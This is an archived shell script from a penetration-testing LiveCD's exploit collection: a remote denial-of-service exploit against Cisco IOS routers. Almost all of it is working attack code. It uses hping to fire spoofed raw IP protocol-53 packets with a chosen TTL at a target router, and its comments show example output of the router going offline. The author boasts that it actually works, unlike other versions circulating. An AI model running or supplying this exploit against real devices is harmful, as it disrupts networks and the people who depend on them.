home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ciscodos.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  50 lines

  1. #!/bin/tcsh -f
  2. #
  3. # Remote DoS exploit against the recent Cisco IOS vuln. Cisco doc. 44020
  4. # Vulnerable versions - all Cisco devices running IOS.
  5. # Requirements : tcsh, and hping.
  6. # Get hping @ www.hping.org
  7. # And you know the best part? This script actually works! Unlike the few .c's
  8. # floating around the net. Uses swipe for the protocol bit. Also, need to be uid=0,
  9. # OR +s ciscodos.sh because of hping opening raw sockets.
  10. #
  11. # Example : 
  12. # root@evicted # ping 192.168.1.1
  13. # PING 192.168.1.1 (192.168.1.1): 56 data bytes
  14. # 64 bytes from 192.168.1.1: icmp_seq=0 ttl=150 time=1.287 ms
  15. # 64 bytes from 192.168.1.1: icmp_seq=1 ttl=150 time=0.817 ms
  16. # --- 192.168.1.1 ping statistics ---
  17. # 2 packets transmitted, 2 packets received, 0% packet loss
  18. # round-trip min/avg/max/std-dev = 0.817/1.052/1.287/0.235 ms
  19. #
  20. # root@evicted # ./ciscodos.sh 192.168.1.1 0
  21. # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
  22. # --- 192.168.1.1 hping statistic ---
  23. # 19 packets tramitted, 0 packets received, 100% packet loss
  24. # round-trip min/avg/max = 0.0/0.0/0.0 ms
  25. # HPING 192.168.1.1 (dc0 192.168.1.1): raw IP mode set, 20 headers + 26 data bytes
  26. # --- 192.168.1.1 hping statistic ---
  27. # 19 packets tramitted, 0 packets received, 100% packet loss
  28. # round-trip min/avg/max = 0.0/0.0/0.0 ms
  29. # -------------SNIP---------------
  30. # root@evicted # ping 192.168.1.1
  31. # PING 192.168.1.1 (192.168.1.1): 56 data bytes
  32. # --- 192.168.1.1 ping statistics ---
  33. # 2 packets transmitted, 0 packets received, 100% packet loss
  34. # -------------SNIP---------------
  35. #
  36. # Coded by zerash@evicted.org 
  37. #
  38.  
  39. if ($1 == "" || $2 == "") then
  40. echo "usage: $0 <router hostname|address> <ttl>"
  41. exit
  42. endif
  43.  
  44. foreach protocol (53)
  45. /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 76 --interval u250 --data 26
  46. end
  47.  
  48.